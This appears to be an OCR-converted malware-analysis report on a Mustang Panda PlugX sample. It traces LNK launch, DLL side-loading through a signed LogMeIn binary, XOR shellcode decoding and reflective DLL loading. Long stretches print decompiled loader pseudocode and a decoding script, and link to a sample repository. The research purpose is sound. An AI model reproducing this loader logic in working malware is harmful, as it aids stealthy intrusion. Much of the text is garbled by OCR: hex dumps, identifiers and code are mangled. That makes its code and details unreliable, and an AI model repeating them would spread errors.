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1. Hunting

Recently, in my free time, | continue hunting samples related to PlugX malware of the
Mustang Panda group. Among the results returned by VirusTotal, there is a file submitted to
VT from LV (Latvia ??) at 2022-12-06 06:39:03 UTC:

Sortby = Filter by = Export = Tools = Help =
Detections Size First seen Last seen Submitiers
84CC77C788E3F5848893FBAB3CF30850051D942E079CAE3ET9B4E42A2TR24E6E
2022-12-06 2022-12-06

@ ® Writtenk2Bcommentsk2@ofh2BHungary. rar

l 37762  595.89KB 06 3903 vea003 1
rar

3 7 @ 37 security vendors and no sandboxes flagged this file as malicious

]
)

84ccT7c788e315845893Mh8b3cf3085d951d942ed7Icae357984e42a27024e6e
‘Written%20comments% 200f%20Hungary.rar

—H rar

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMRM

Submissions

Date Name Source Country
2022-12-06 06:3%:03 UTC Written%20comments%200f%20Hungary.rar @ b103b11b - web Lv

Through examining some information of this file, | found that there are many similarities with
the samples that | have analyzed and presented in September at the Security Bootcamp
conference.

Bundled Files (2) &

Scanned Detections File type Name
w  2022-12-19 38171 Win32 DLL %HOME%\unpack! (AR \ \LMIGuardianDIl.dll
v 20221219 237862 Windows shortcut

Dropped Files (2) &

Scanned Detections File type Name
W 2022-11-30 07172 Win32 EXE DALMIGuardianSve. exe
w  2022-12-19 3171 Win32 DLL %%HOME%\unpack! AR \ \LMIGuardianDIl.dll

Download sample here: https://github.com/m4now4r/PlugX_Mustang-Panda/

2. Overview analysis
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The above rar file includes an Ink file (a Windows Shortcut) and an abnormal directory
containing other files as shown below:

Mame Size Packed Type Modified CRC32
P
|| LMIGuardianDat.dat 609,862 496,259 DAT File 12/5/2022 214 PM CALIBC3BS
|| LMIGuardianDil.dll 74,752 35,855 Application extension  12/5/2022 2:14 PM  829BCGEA
|| test.msd 405,424 76,179 MSD File 12/5/2022 2:14 PM 1FBB8119E

Packed

Modified
File folder

| 1,090,033 608,293  File folder 12/5/2022 3:21 PM
|| Written comments of Hungary.doc.Ink 2,671 992 Shortcut 12/5/2022 3:21 PM F1FEDTGE0

“‘Written comments of Hungary.doc.Ink” will executes the test.msd file:

o+ @ h
Icon Location

--- Link info
Flags: volume

test.md (26c855264896db95ed46e502f2d318e5f2ad25b59bdc47bd7ffe92646102ae0d)
has the original name is LMIGuardianSvc.exe. This is a clean file, and belongs to LogMeln
software, with Digital Signature:

Version info - File Type : Application

File Version Info Size=1724 —> 06BCh
Translations : 040904b0  Language : English (U.S.) - (0409)

| testmsd Properties ||
FieDescription = LMIGuardianSvc General | Digital Signatures | Securty | Details | Previous Versions |
FleVersion = 10.1.1742
Signature list

InternalName = LMIGuardianSvc

LegalCopyright = Copyright © 1998-2016 LogMeln, Inc. Al rights reserved.
LegaTradeMarks = ***

OriginalFlename = LMIGuardianSvc.exe

ProductName = LMIGuardianSvc

ProductVersion = 10.1.1742

Comments = **% ‘
o () File distributed by LogMeln o = ¥ :!:

Name of signer: Digest algort... Timestamp

CompanyName = LogMeln, Inc.
LogMeln, Inc. shal Friday. May 27, 2016 8:04:11

26c855264896db952d46e50212d3185f2ad25b50bdcdThd 7182646 102ae0d 39592 KB 2022-11-30 13:43.42 UTC %“
LMIGuardianSve.exe Size 23 days ago EXE
e peexe  known-distibutor  signed  tusted overlay  checks-userdnpul idle  defect-debug-environment
X Community Scare
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY 4
Security vendors' analysis on 2022-11-30T12.43.42 UTC  ~ i}

LMIGuardianDIl.dll
(ef2b6b411b79f751d73e824302ca00ff9f0d759abeea02d2cfb11390d0e9379b), exports 6

functions. However, there are functions with the same address: crashMain, Escort2,
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HttpMain, IssamePath and offLoad. Only the Init function locates at the different address,
therefore, it is likely that the function of interest:

Disasrm: .text | General | DOS Hdr | Rich Hdr | File Hdr | Optional Hdr | Section Hdrs | 8 Exports | 8@ Imports |8 Base| 4|k

Mame Value Meaning
Characteristics 0
TimeDateStamp FFFFFFFF Sunday, 07
MajorVersi 0

\ 0

Mame LMIGuardianDiIlL.dll
Base

MumberOfFunctions

MumberOffMames

Exported Functions [ 6 entries ]

Offzet Ordinal Function RVA Mame RVA Mame Forwarder
CrashMain
Escort?

P =

GuardianDIl.dll

T Lnf| =

LMIGuardianDat.dat
(e5e396be385d38f69566aa141de3030ffedeaad8afb244a2¢c22df4b6db425478). This file is
already encrypted:

& LMIGuardianDat.dat

Cffset (h) 00 01 02 03 04 05 06 07 O8 09 OR OB OC OD OE OF Decoded text
00000000 95 C1 EA 3R F5 12 3B SE D9 F2 99 C9 C4 65 35 B7 [A&:8.: Us™EhesS -
00000010 58 2C 56 E7 DD C1 A8 OE 75 D4 F2 2D 31 60 83 85 X,Vg¥A~.ubo-1"F..
00000020 12 BD 5& B1 91 7C C2 3F 22 33 D1 42 €D 14 57 AF .22 |A?"3HBm.W_
00000030 FB 3E E4 OR 80 RS CB EE E9 CC 3F FB 9D CO E3 22 4>3.€ Eiéiza.hs«
00000040 29 B5 FF 68 E6 B0 22 05 64 F9 JE F9 8E AB 43 F7 )pike®".do~0Ff«C:
00000050 A6 SC 77 D3 E5 08 2B 1E FO 79 BT DR FD 20 1B o9& !\wO&.+.8y -0y .3
00000060 70 €5 A9 5B A9 38 CB BD 20 28 FF 08 2D 50 20 C3 pe@[@8Ex (v.-P &
00000070 EF S8 95 49 1D 02 EE CE 58 70 33 F6 5D 20 A3 F5 ic+I..iEXp36]€L£s
00000080 04 54 45 20 2C F2 D5 &5 6B 48 1D 00 BE D6 5& 72 .TE ,o0.kH..%0Zr
00000090 3D F2 5F 2 A5 AF 62 SA 15 20 77 92 BD B8 69 14 =p ,¥®bS.Ewdks,i.

To summarize, it can be seen that the Mustang Panda group continues using DLL side-
loading_technique, the execution flow of the malicious code is as follows:

—spawn—i —Ilaunch-— —load—m D L L —load and decrypt—
Malicious LNK] Command Line| Legitimate executable Loader DIl DAT file
(LMIGuardianSvc.exe, ...) (LMIGuardianDil.dll) (LMIGuardianDat.dat (encrypted payload))
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3. Detailed analysis

3.1. Analyze test.msd file

Load the file into IDA, the pseudocode at its winMain function is as follows:

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

SetProcessDEPPolicy = mw_build_kernel32_api_funcs_wrap()->SetProcessDEPPolicy;
( SetProcessDEPPolicy )
{
SetProcessDEPPolicy( );

1
I

LMIGuardian_API =|mw_build_LMIGuardian_api_funcs_wrap();
( !'LMIGuardian_APT—=Conlfa

e,
wstr_full_file_path = 8;
mw_get_full_path_of_file(Swstr_full_file_path);

LMIGuardian_API-»ComMainChInstance, hPrevInstance, wstr_full_file_path, lpCmdLine, nShowCmd);

Pay attention to the mw_build LMIGuardian_api_funcs_wrap()function, this function will
load the LMIGuardianDll.d11file, get all addresses of the exported functions, and then call
the Init function to execute the next code:
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LMIGuardian_API-»LMIGuardianDll_hdl = 8;

LMIGuardian_API-»CrashMain = ©;

LMIGuardian_API-»HttpMain = ©;

LMIGuardian_API-*Escort2 = 8;

LMIGuardian_API-»EscortStop = 8;

LMIGuardian_API-»0ffLoad = 8;

LMIGuardian_API-»IsSamePath = 8;

LMIGuardian_API-+Init = 8;

LMIGuardian_API-»Init_result = ©;

LMIGuardian_API-»Manifest = ©;

LMIGuardian_API-»ComMalin = 8;

LMIGuardian_API->SetLoglLabelLow = 8;

LMIGuardian API-»EscortIEll = 6:

LMIGuardianDll_hdl = LoadLibraryA("LEMIGuardianbll.dll");

LMIGuardian_API-+»LMIGuardianDLll_hdl = LMIGuardianDLlLl_hdl;
( 'LMIGuardianDll_hdl )

LMIGuardian_API;

CrashMain = GetProcAddress(LMIGuardianDll_hdl, "CrashMain");
vl5 = LMIGuardian_API-»LMIGuardianDll_hdl;
LMIGuardian_API-»CrashMain = CrashMain;

HttpMain = GetProcAddress(vl5, "HttpMain");

vlé = LMIGuardian_API-»LMIGuardianDll_hdl;
LMIGuardian_API-+HttpMain = HttpMain;

Escort2 = GetProcAddress(vlié, "Escort2");

Init = GetProcAddress(v2e, "Enit");
LMIGuardian_API-Init = Init;

( Init )

Init_result

Init_result

3.2. Analyze LMIGuardianDII.dIl file

The pseudocode at the Init function is as follows:
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_stdecall Init()

mw_get_kernel32_base_addr_wrap():

mw_load_decrypt_and_exec_shellcode();
e,

Diving into the mw_load decrypt_and _exec _shellcode() function, we see that it constructs

the path to the LMIGuardianbat .datfile, gets the handle to the file, and then allocates a
memory area equal to the size of the file:

strepy(&str_CreateFileW[8], "CreateFileW");
CreateFileW = mw_retrieve_ dr(g_kernel32_base_addr, &str Cr Filew[8]1);
LMIGuardianDat_dat_hdl = CreateFileW(wstr_LMIGuardianDat_dat_full_pa
( LMIGuardianDat_dat_hdl = )
{

}
strecpy(str_GetFileSize, "GetFileSize");

i
GetFil e = mw_retrieve_api_addr(g_kernel32_base_addr, str_GetFileSize);
LMIGuardianDat_dat_size = GetFileSize(LMIGuardianDat_dat_hdl, @);

strepy(str_LocalAlloc, "LocalAlloc");
LocalAlloc = mw_retrieve_api_addr(g_kernel32_base_addr, str_LocalAlloc);
ptr_shellcode = LocalAlloc( , LMIGu Dat_dat_size + 1);

Next, it will read the contents of the LMIGuardianbDat .dat file into the allocated memory, use
the xor loop to decode the shellcode, and finally use EnumsystemCodePagesw function to
execute the decrypted shellcode:
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NumberOfBytes
strepy(str_ReadFile,
ReadFile = mw_retrieve_api_ addr(g kernel32_base_addr, str_ReadFile);
strepy(str_CloseHandle, e ");
CloseHandle = mw_retrieve_ap _addr(g_kernelsz_base_addr, str_CloseHandle);
( ReadFile(LMIGuardianDat_dat_hdl, ptr_shellcode, LMIGuardianDat_dat_size, &NumberOfBytesRead, ©) )

CloseHandle(LMIGua anDat_dat_hdl);
8; n < LMIGuardianDat_dat_size; +n )

var += LMIGuardianDat_dat_size > 1;

ellcode[n] = g_xor_var '—'—___—'-—-—-.,

g_xor_var

strepy(&str_virtualProtect, c
VirtualProtect = mw_ retrleve _api_addr(g_ kernelaz _base_addr, &str_VirtualProtect);
virtualProtect(ptr_shellcode, LMIGuardianDat_dat_size, , &NumberoOfBytesReac

SW™) ;
mw_retrieve_api_addr(g_kernel32_base_addr, str_EnumSystemCodePagesW);
EnumbvstnmLodﬂpqgnsw(ptl shellcode, 8); 2

—_—

CloseHandle(LMIGuardianDat_dat_hdl);

Based on the above pseudocode, we can completely write a Python script to perform
shellcode decoding as follows:

import sys
g_xor_var

encrypt_sc = bytearray(open(sys.argv[1], 'rb').read())

size = len(encrypt_sc)
decrypt_sc = bytearray(size)

python d he de.py LMIGuar t LMIGuardianDat_sc.bin
[*] LMIG ed to LMIGu c.bin!

for 1 1n range(size):
g_xor_var += size >> 1
decrypt_sc[i] = (encrypt_sc[i] ~ g_xor_var) & OxFF

open(sys.argv[2], 'wb').write(decrypt_sc)

print @"[*] %5 Saved to %s!" % (sys.argv[1], sys.argv[2]

Results before and after decoding:
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] LMIGuardianDat.dat| 28] LMIGuardianDat_sc.bin

58] WUV \EMIGuardianDat.dat =10 | I O > i} A N O O W N \LMIGuardianDat_sc.bin

Offset(h) 00 01 02 04 05 06 07 ] Decoded text Offset (n) 04 05 06 07 02 09 OA 0B OC OD OE OF Decoded text
00000000 c 3A F5 18 3B Q0000000 0 BrEe. .. .xv-#EULd
00000010 o E7 DD C1 A8 00000010 A.uactlen. 7., .4
00000020 cz 00000020 79 UQU}A Y. ;ﬂ
00000030 cB 00000030

00000040 22 00000040

00000050 2B 2 \woE.+.8y -0y .3 00000050

00000060 2 cB 3 pe®[B2EN (¥.-P A 00000060

00000070 2 EE FS c-I..1EXp361ELd 00000070

00000080 D5 \TE ,8.XH..3%8Zr 00000080

00000090 62 4 ’1:1 ¥®b5 Ewd,i. 00000090

000000A0 1B BC /a -.2.>91%-d" . Q00000A0

000000BO 2D 000000B0

000000C0 g F2 000000C0

00000000 18 00000000

D0000CED 52 000000ED

000000F0 82 000000F0

00000100 00000100

-ED§
24 45°T$5fCDS6ecEDS
8pfCDSHLoEDSJa D

00000110 & 2E E2 0R F7 15 C7 82 %B.%.d.-. . 00000110
00000120 F §6 71 4D FD 73 20 6 F7 F2  {e+fQMyv¥ ./.V=d 00000120
00000130 C AS C 83 & 7 F2 SE 7 A 42 R‘lY¥§CEJC~ﬁ_"xikE 00000130

3.3. AnaersheHcode

Before going into shellcode analysis, inspecting at the LMIGuardianbat sc.bin file, | found
that it has an embedded PE file (removed Magic DOS signature and DOS Stubs):
D E F

7D FC 58
51 56 FF

64 61 74 61 00 OO 44
Load shellcode into IDA, go to address oxc3F, apply the corresponding structs, we get the
size of the embedded PE file as follows:
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dd
dd
dw
dw
dd

5egB00:0BBBBE3F

dup(®); Name
: Misc.PhysicalAddress
: VirtualAddress

; PointerToRelocations
: PointerToLinenumbers
: NumberOfRelocations
: NumberOfLinenumbers
- Characteristics

With all the above information, we can completely extract the PlugX DII. This DIl only exports

one function named BLMSqofHz:

Disasm: .text | General | DOS Hdr | File Hdr | Optional Hdr

WYalue

0
FFFFFFFF
0
0

MName

Characteristics
TimeDateStamp
MajorVersion
MinorYersion

Mame

Base
MNumberOfFunctions
MumberQOfMames
AddressOfFunctions
AddressOfMNames
AddressOfWameCrdinals

Exported Functions [1 entry |

Offzet Crdinal
1

Function RV.4 Mame RY.4

w final_dll.bin

plug

Going back to the shellcode, after defining its code
plx d11 loader function to acts as a loader, map the PlugX DIl into the new memory region
and call the exported function BLMSqofHz to perform the main task of malware:

Section Hdrs | 8  Exports

B Imports | @ BaseReloc.

Meaning

Sunday, 07.02.2106 06:28:15 UTC

Mame Forwarder

BLM5gofHz

in IDA, the pseudocode of its will call the

plx_dLl_loader(exC3F|, | ©x9D251BD9),

pre—calculated
hash value of
export function
(BLMSqofHz)

. dwFlag);

@x8F63F, ©%81, 5

args that can be
used when call
export function
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Let’s give a quick summary here:

Based on the pre-calculated hash value to find the address of the API functions are
LdrLoadDll, LdrGetProcedureAddress. Then use these functions to get the address of
other API functions as: virtualAlloc, VirtualProtect, FlushInstructionCache,
GetNativeSystemInfo, Sleep, RtlAddFunctionTable and LoadLibraryA.

# plugx_brute_api_funcs.py
API hash: @x5ED9U1BS ——> API found: LdrGetProcedurefddress
API hash: @xBDBF9C13 ——> API found: LdrleoadDll

LdrLoadDll = plx_retrieve_api_from_hash(8xED
LdrGetProcedureAddress = plx_retrieve_api_from_hash(@x5ED9U1B5u);

e Recheck the DIl through some fields in Nt Headers

o Allocate new memory region and mapping the entire DIl payload into the allocated
memory.

o Check and perform relocation (if necessary)

» Build import table for mapped DII.

e Check and process Delay Import (if necessary)

¢ Check and change the Characteristics of sections.

o Execute TLS Callback (if any)

o Execute DIIEntryPoint.

o Get the name of the exported function, calculate the hash, if it matches the pre-
calculated hash, then get the address of the function to execute.
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exportNameRVA = *pNameAddressTbl;
var2z.cnt = 8;
_exported_func = (pPlugxNewBaseAddr + exportNameRVA);
( !str_exported_func )

chr = *str_exporte
( *str_exported_func )
{

dwExportHash = tmp var2.dwExportHash;

{
dwExportHash = _RORU__(chr + dwExportHash, ©xD);
chr = *+str_exported_func; L
( #str_exported_func );
r2.dweExportHash = dweExportHash;
ortedNames = exportDirRVA->NumberOfNames;
(_pre_exportFuncHash = dwExportHash ) 3'

( pordinalsTbl )

exportFunc = (pPlugxNewBaseAddr + *(exportDirRVA—>AddressOfFunctions + 4 * *pOrdinalsTbl + pPlugxNewBaseAddr));
( dwFlag

{
exportFunc(export_arg3, u4);

1
i

{
exportFunc(export_argl, export_ar
I}
pPlugxNewBaseAddr;

The full pseudocode of the p1x_d11_loader function is as follows:
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int _ _cdecl plx_dll_loader(int pPlugxDllBaseAddr, _DWORD *pre_exportFuncHash, int
export_argl, int export_arg2, int export_arg3, unsigned int dwFlag)

{

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

wstr_kernel32_dll[e] = 'k';
wstr_kernel32_dll[1] 'e';
wstr_kernel32_dl1l[4] 'e';
wstr_kernel32_dll[6] = '3';
wstr_kernel32_dll[7] = '2';
wstr_kernel32_dll[8] = '.";
LoadLibraryA = 0;
VirtualAlloc = 0;
FlushInstructionCache = 0;
GetNativeSystemInfo = 0;
VirtualProtect = 0;

Sleep = 0;
Rtl1AddFunctionTable = 0;

wstr_kernel32_dll[2] = 'r'";
wstr_kernel32_dl1[3] = 'n';
wstr_kernel32_dl1[5] = '1';
wstr_kernel32_dl1[9] = 'd';

wstr_kernel32_dll[OxA] = '1"';
wstr_kernel32_dll[oxB] = '1';
gmemcpy (&apiFuncs, "Sleep", 5);

gmemcpy (apiFuncs.wstr_LoadLibraryA, "LoadLibraryAvVirtualProtect", Ox1A);
gmemcpy (apiFuncs.wstr_VirtualAlloc, "VirtualAlloc",
sizeof(apiFuncs.wstr_VirtualAlloc));
gmemcpy (wstr_FlushInstructionCache, "FlushInstructionCache",
sizeof (wstr_FlushInstructionCache));
gmemcpy (&wstr_GetNativeSystemInfo[1], "etNativeSystemInfo", 0x12);

str_RtlAddFunctionTable[0x12] = 0Ox65;
wstr_GetNativeSystemInfo[Q@] = 0x47;

gmemcpy (str_RtlAddFunctionTable, "RtlAddFunctionTabl", 0x12);
LdrLoadDll = plx_retrieve_api_from_hash(0xBDBF9C13);
LdrGetProcedureAddress = plx_retrieve_api_from_hash(0x5ED941B5u);

moduleInfo.Buffer = wstr_kernel32_dll;
moduleInfo.MaximumLength = 0x18;
moduleInfo.Length = 0x18;

tmp_var.LdrGetProcedureAddress = LdrGetProcedureAddress;

LdrLoadbl1(0, O, &moduleInfo, &dllHandle);

apiName.Length = 12;

apiName.Buffer = apiFuncs.wstr_VirtualAlloc;
apiName.MaximumLength = 12;
LdrGetProcedureAddress(dllHandle.kernel32_handle,

apiName.Length = 14;

apiName.MaximumLength = 14;

apiName.Buffer = apiFuncs.wstr_VirtualProtect;
LdrGetProcedureAddress(dllHandle.kernel32_handle,

&apiName, 0O,

&apiName, 0O,

&VirtualAlloc);

&VirtualProtect);
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apiName.Length = 21;

apiName.MaximumLength = 21;

apiName.Buffer = wstr_FlushInstructionCache;

LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, O,
&FlushInstructionCache);

apiName.Length 0x13;

apiName.Buffer = wstr_GetNativeSystemInfo;

apiName.MaximumLength = 0x13;

LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0O,
&GetNativeSystemInfo);

apiName.Length = 5;

apiName.MaximumLength = 5;

apiName.Buffer = &apiFuncs;
LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &Sleep);

apiName.Length 0x13;

apiName.Buffer str_RtlAddFunctionTable;

apiName.MaximumLength = 0x13;

LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, O,
&Rt1AddFunctionTable);

apiName.Length = 12;

apiName.Buffer = apiFuncs.wstr_LoadLibraryA;

apiName.MaximumLength = 12;

LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &LoadLibraryA);
if ( !'VirtualAlloc )

{
return FALSE;
}
if ( !'VirtualProtect )
{
return FALSE;
}
if ( !'Sleep )
{
return FALSE;
}
if ( !'FlushInstructionCache )
{
return FALSE;
}
if ( !GetNativeSystemInfo )
{
return FALSE;
}

// check valid payload
cp_pPlugxDllBaseAddr = pPlugxDllBaseAddr;
pPlugxDl1lNtHeaders = (pPlugxDllBaseAddr + *(pPlugxDllBaseAddr +
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offsetof (IMAGE_DOS_HEADER, e_lfanew)));
if ( pPlugxDllNtHeaders->Signature != IMAGE_NT_SIGNATURE )

{
return FALSE;

}

if ( pPlugxDllNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386 )

{

return FALSE;

}

plxHeaderInfo.SectionAlignment = pPlugxDllNtHeaders-
>0ptionalHeader.SectionAlignment;// 0x1000

if ( plxHeaderInfo.SectionAlignment & 1 )

{
return FALSE;

}

// calculate total sections size that need to mapped to memory

total_section_size = 0;

num_of_sections = pPlugxDllNtHeaders->FileHeader .NumberOfSections;

if ( pPlugxDllNtHeaders->FileHeader.NumberOfSections )

{

pPlugxSectionHeaders = (&pPlugxDllNtHeaders-

>0ptionalHeader.SizeOfUninitializedData + pPlugxDllNtHeaders-
>FileHeader .SizeOfOptionalHeader);

do
{
if ( ADJ(pPlugxSectionHeaders)->SizeOfRawData )
{
plxHeaderInfo.SizeOfRawData = ADJ(pPlugxSectionHeaders)->SizeOfRawData;
}

section_size = ADJ(pPlugxSectionHeaders)->VirtualAddress +
plxHeaderInfo.SizeOfRawData;// VirtualAddress + SizeOfRawData
if ( section_size <= total_section_size )

{
section_size = total_section_size;
}
pPlugxSectionHeaders += OXxA; // points to next section

total section_size = section_size;
plxHeaderInfo.SectionAlignment = pPlugxDllNtHeaders-
>0ptionalHeader.SectionAlignment;
--num_of_sections;
}
while ( num_of_sections );
cp_pPlugxDllBaseAddr = pPlugxDllBaseAddr;
}
// Retrieve SizeOfImage value
GetNativeSystemInfo(&system_info);
vl5 = ~(system_info.dwPageSize - 1);
plx_dl1SizeOfImage = v15 & (pPlugxDllNtHeaders->OptionalHeader.SizeOfImage +
system_info.dwPageSize - 1);// Size of image (0x99000)
if ( plx_dllSizeOfImage !'= (vl5 & (total_section_size + system_info.dwPageSize -
1)) )
{
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return FALSE;
}
// Allocate new base address for mapping PlugX D11
pPlugxNewBaseAddr = VirtualAlloc(pPlugxDllNtHeaders->OptionalHeader .ImageBase,
plx_dl11SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
if ( !'pPlugxNewBaseAddr )
{
pPlugxNewBaseAddr = VirtualAlloc(0, plx_dllSizeOfImage, MEM_RESERVE|MEM_COMMIT,
PAGE_READWRITE);
}
if ( dwFlag & 1 ) // skip if
{
*(pPlugxNewBaseAddr + offsetof(IMAGE_DOS_HEADER, e_lfanew)) = *
(cp_pPlugxDllBaseAddr + offsetof(IMAGE_DOS_HEADER, e_lfanew));
offset_from_e_lfanew = *(cp_pPlugxDllBaseAddr + offsetof(IMAGE_DOS_HEADER,
e_lfanew));
if ( offset_from_e_lfanew < pPlugxDllNtHeaders->OptionalHeader.SizeOfHeaders )
{
pPlugxNewNtHeaders = (pPlugxNewBaseAddr + offset_from_e_lfanew);
do
{
++offset_from_e_lfanew;
LOBYTE(pPlugxNewNtHeaders->Signature) = *(&pPlugxNewNtHeaders->Signature +
cp_pPlugxbllBaseAddr - pPlugxNewBaseAddr);
pPlugxNewNtHeaders = (pPlugxNewNtHeaders + 1);

}
while ( offset_from_e_lfanew < pPlugxDllNtHeaders->OptionalHeader.SizeOfHeaders
)
}
}
else // exec else
{

// transfer Plugx D1l Headers to new base addr (0x400 bytes)
for ( cnt = 0; cnt < pPlugxDllNtHeaders->0OptionalHeader.SizeOfHeaders;
++pPlugxNewBaseAddr )
{
++cnt;
*pPlugxNewBaseAddr = *(pPlugxNewBaseAddr + cp_pPlugxDllBaseAddr -
pPlugxNewBaseAddr);
}
}

// copy all sections data to new mapped address
nTotalSectionCopied = 0;
pPlugxNewNtHeaders = (pPlugxNewBaseAddr + *(pPlugxNewBaseAddr +
offsetof (IMAGE_DOS_HEADER, e_lfanew)));
tmp_var2.nTotalSectionCopied = 0;
if ( pPlugxNewNtHeaders->FileHeader.NumberOfSections )
{
pPlugxNewSectionHeaders = (&pPlugxNewNtHeaders-
>0ptionalHeader .AddressOfEntryPoint + pPlugxNewNtHeaders-
>FileHeader.SizeOfOptionalHeader);
do

15/26



cnt = 0,
if ( ADJ(pPlugxNewSectionHeaders)->SizeOfRawData )
{

do

{

// pPlugxMappedSection[cnt] = pPlugxUnMappedSection[cnt]
*(pPlugxNewBaseAddr + ADJ(pPlugxNewSectionHeaders)->VirtualAddress + cnt) =
*(cnt

+ ADJ(pPlugxNewSectionHeaders)->PointerToRawData

+ cp_pPlugxDllBaseAddr);
++cnt;
}
while ( cnt < ADJ(pPlugxNewSectionHeaders)->SizeOfRawData );
nTotalSectionCopied = tmp_var2.nTotalSectionCopied;
}
NumberOfSections = pPlugxNewNtHeaders->FileHeader .NumberOfSections;
++nTotalSectionCopied;
pPlugxNewSectionHeaders += OxA;
tmp_var2.nTotalSectionCopied = nTotalSectionCopied;

}

while ( nTotalSectionCopied < NumberOfSections );
}
// Perform relocation if needed
delta_offset = pPlugxNewBaseAddr - pPlugxNewNtHeaders->OptionalHeader.ImageBase;
delta_offset = pPlugxNewBaseAddr - pPlugxNewNtHeaders->OptionalHeader.ImageBase;
if ( delta_offset ) // cause pPlugxNewBaseAddr -
pPlugxNewNtHeaders->0OptionalHeader.ImageBase = 0x0 then skip if block

{
if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[5].Size )

{
relocation = (pPlugxNewBaseAddr + pPlugxNewNtHeaders-
>0ptionalHeader .DataDirectory[5].VirtualAddress);
if ( relocation->VirtualAddress )
{
v29 = delta_offset;
while ( 1 )
{
for ( ++relocation; relocation !'= (relocation + relocation->SizeOfBlock);
relocation = (relocation + 2) )
{
v31l = relocation->VirtualAddress;
rel_type = LOWORD(relocation->VirtualAddress) >> 0OXxC;
switch ( rel_type )
{
case IMAGE_DEBUG_TYPE_OMAP_FROM_SRC|IMAGE_DEBUG_TYPE_CODEVIEW:
v33 = relocation->VirtualAddress;
delta_offset = relocation->VirtualAddress & OXFFF;
*(v33 + pPlugxNewBaseAddr + delta_offset) += v29;
continue;
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case IMAGE_REL_BASED_HIGHLOW:

*(pPlugxNewBaseAddr + (v31 & OXFFF) + relocation->VirtualAddress) +=
v29,;

continue;

case IMAGE_REL_ALPHA_REFLONG:
v34 = v29 >> 0x10;
break;

case IMAGE_REL_PPC_ADDR32:
v34 = v29,
break;

default:
continue;

}
*(pPlugxNewBaseAddr + (v31 & OXFFF) + relocation->VirtualAddress) += v34;

}

if ( !relocation->VirtualAddress )

{
cp_pPlugxbllBaseAddr = pPlugxDllBaseAddr;
break;

// Build Import Table
if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[1].Size )
{
importTblRVA = pPlugxNewNtHeaders-
>0ptionalHeader.DataDirectory[1].VirtualAddress;
nImportedDll = 0;
cp_nDllImported = 0;
pPlugXNewImportDesc = (importTblRVA + pPlugxNewBaseAddr);
pNameRVA = (importTblRVA + pPlugxNewBaseAddr + offsetof(IMAGE_IMPORT_DESCRIPTOR,
Name));
tmp_var_1.pPlugXNewImportDesc = (importTblRVA + pPlugxNewBaseAddr);
if ( ADJ(pNameRVA)->Name )

{
// caculate number of DIlls
do
{
pNameRVA += 5; // points to next NameRVA
++nImportedDll;
}
while ( ADJ(pNameRVA)->Name );
cp_nDllImported = nImportedDll;
}

delta_offset = 0;

v102 = dwFlag & 4;

importTblRVA_ = importTblRVA;

if ( dwFlag & 4 && nImportedDll > 1 )

{ // skip if block
tmp_var2.pPlugXNewImportDesc = 0;
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delta_offset = dwFlag >> 0x10;
nD1l = nImportedDll - 1;

i=0;

pPlugXNewImportDesc_ = (importTblRVA + pPlugxNewBaseAddr);
do

{

pPlugxDllBaseAddra = 0x343FD * cp_pPlugxDllBaseAddr + Ox269EC3;
v42 = &pPlugXNewImportDesc[i + (HIWORD(pPlugxDllBaseAddra) & OXx7FFFu) /
(OX7FFF / (nImportedDll - i) + 1)];

++1;
gmemcpy(v109, v42, sizeof(v109));
v43 = v42;

nImportedDll = cp_nDllImported;
gmemcpy(v43, pPlugXNewImportDesc_, sizeof(IMAGE_IMPORT_DESCRIPTOR));
gmemcpy (pPlugXNewImportDesc_, v109, sizeof (IMAGE_IMPORT_DESCRIPTOR));
cp_pPlugxbllBaseAddr = pPlugxDllBaseAddra;
++pPlugXNewImportDesc_;
pPlugXNewImportDesc = tmp_var_1.pPlugXNewImportDesc;
}
while ( i < nD1l );
importTb1RVA_ = pPlugxNewNtHeaders-
>0ptionalHeader.DataDirectory[1].VirtualAddress;
}
tmp_var2.pPlugXNewImportDesc = (importTblRVA_ + pPlugxNewBaseAddr);
dllNameRVA = *(importTblRVA_ + pPlugxNewBaseAddr +
offsetof (IMAGE_IMPORT_DESCRIPTOR, Name));
if ( dl1NameRVA )
{
pPlugXNewImportDesc = tmp_var2.pPlugXNewImportDesc;
do
{
module_handle = LoadLibraryA((pPlugxNewBaseAddr + dllNameRVA));
dllHandle.module_handle = module_handle;
thunkRef = (pPlugxNewBaseAddr + pPlugXNewImportDesc->0riginalFirstThunk);
funcRef = (pPlugxNewBaseAddr + pPlugXNewImportDesc->FirstThunk);
thunkRefInfo = thunkRef->ul.AddressOfData;// AddressOfData, which points to
the IMAGE_IMPORT_BY_NAME structure.
if ( thunkRef->ul.AddressOfData )
{
LdrGetProcedureAddress = tmp_var.LdrGetProcedureAddress;
while ( TRUE )

{
if ( thunkRefInfo >= 0 )

{
len_str_apiName = 0;
str_apiName = &thunkRefInfo->Name[pPlugxNewBaseAddr];
tmp_var_1.str_apiName = str_apiName;
if ( *str_apiName )
{
do

{

++len_str_apiName;
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++str_apiName;

}

while ( *str_apiName );

str_apiName = tmp_var_1.str_apiName;
}
apiName.Length = len_str_apiName;
apiName.MaximumLength = len_str_apiName;
apiName.Buffer = str_apiName;

LdrGetProcedureAddress(module_handle, &apiName, 0, &funcRef-

>ul.Function);// get api address and update IAT table
}

else

{

LdrGetProcedureAddress(module_handle, ©, LOWORD(thunkRef-

>ul.AddressOfData), &funcRef->ul.Function);
}
++thunkRef;
++funcRef;
thunkRefInfo = thunkRef->ul.AddressOfData;
if ( !thunkRef->ul.AddressOfData )

{
break;
}
module_handle = dllHandle.module_handle;
}
pPlugXNewImportDesc = tmp_var2.pPlugXNewImportDesc;
}
if ( delta_offset && v102 && cp_nDllImported > 1 )
{
Sleep(Ox3E8 * delta_offset);
}
